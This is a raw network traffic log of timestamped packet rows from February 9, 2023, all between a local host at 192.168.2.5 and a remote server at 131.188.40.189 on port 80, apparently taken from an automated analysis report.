Feb 9, 2023 01:01:54.964848042 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.964876890 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.964910030 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.964920044 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.964945078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.964976072 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.964981079 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.965008974 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.965042114 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.965046883 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.965075016 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.965107918 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.965114117 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.965142012 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.965174913 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.965186119 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.965207100 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.965255976 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.039202929 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.060975075 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061028004 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061053991 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061080933 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061100960 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061106920 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061135054 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061136961 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061161995 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061172009 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061191082 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061218023 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061228037 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061244965 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061271906 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061283112 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061297894 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061323881 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061333895 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061351061 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061378956 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061389923 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061404943 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061429977 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061440945 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061456919 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061486959 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061494112 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061517954 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061546087 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061556101 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061573982 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061602116 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061610937 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061630011 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061659098 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061666012 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061688900 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061718941 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061723948 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061748028 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061774969 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061785936 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061801910 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061830044 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061840057 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061860085 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061888933 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061897039 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061917067 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061944008 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.061953068 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.061973095 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062001944 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062011957 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062031031 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062061071 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062068939 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062091112 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062146902 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062159061 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062175989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062206030 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062215090 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062235117 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062263966 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062292099 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062319040 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062320948 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062345028 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062350035 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062376976 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062392950 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062403917 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062433004 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062439919 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062463045 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062493086 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062500954 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062524080 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062551975 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062560081 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062582016 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062611103 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062619925 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062644005 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062674046 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062683105 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062726021 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062756062 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062772036 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062783003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062809944 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062824011 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062839031 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062866926 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062876940 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062892914 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062921047 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062931061 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.062949896 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062978983 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.062990904 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063008070 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063035965 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063049078 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063064098 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063093901 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063101053 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063122034 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063150883 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063158989 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063180923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063208103 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063230991 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063235044 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063265085 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063293934 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063317060 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063321114 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063349009 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063354015 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063376904 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063396931 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063405037 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063431025 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063451052 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063461065 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063492060 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063510895 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063523054 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063551903 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063571930 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063580036 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063608885 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063621044 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063637018 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063663960 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063676119 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063703060 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063731909 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063749075 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063760996 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063791037 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063803911 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063817978 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063846111 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063864946 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063874960 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063903093 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063916922 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063931942 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063961029 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.063971996 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.063990116 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064018011 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064032078 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.064049006 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064074993 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064091921 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.064104080 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064131975 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064146042 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.064162016 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064189911 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064205885 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.064218044 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064246893 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064258099 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.064274073 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064302921 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064316988 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.064332008 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.064374924 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.216094017 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.237415075 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237463951 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237489939 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237508059 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237535000 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237552881 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237577915 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237596989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237620115 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237626076 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.237648964 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237673998 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.237677097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237698078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237723112 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237732887 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.237751007 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237759113 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.237776995 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237797976 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.237803936 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237828970 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237847090 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.237854004 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237879992 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237900019 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.237906933 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237936974 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237951040 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.237967968 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.237996101 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238013029 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238023043 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238049984 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238066912 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238078117 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238106012 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238125086 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238132954 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238163948 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238177061 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238193989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238220930 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238238096 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238249063 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238277912 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238293886 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238306999 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238329887 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238349915 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238358021 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238388062 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238395929 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238416910 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238445997 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238454103 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238476038 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238504887 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238523006 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238540888 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238569021 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238580942 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238601923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238630056 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238646030 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238660097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238689899 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238713026 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238746881 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238775015 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238799095 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238804102 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238833904 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238848925 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238861084 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238893032 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238917112 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238923073 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238951921 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.238970995 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.238981009 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239011049 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239032030 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239039898 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239069939 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239080906 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239099979 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239129066 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239150047 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239157915 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239187002 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239206076 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239217043 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239245892 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239269972 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239274979 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239305019 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239322901 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239334106 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239363909 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239382982 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239392996 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239423037 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239444017 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239453077 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239484072 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239505053 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239514112 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239547968 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239563942 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239578009 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239608049 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239625931 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239635944 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239665031 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239681959 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239695072 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239727020 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239744902 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239758015 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239788055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239808083 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239816904 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239846945 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239861012 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239876986 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239907026 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239928961 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.239937067 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239969015 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.239989042 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240000963 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240030050 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240045071 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240060091 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240088940 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240107059 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240118027 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240148067 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240159035 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240175962 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240206003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240217924 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240236998 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240266085 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240278959 CET	49738	80	192.168.2.5	131.188.40.189
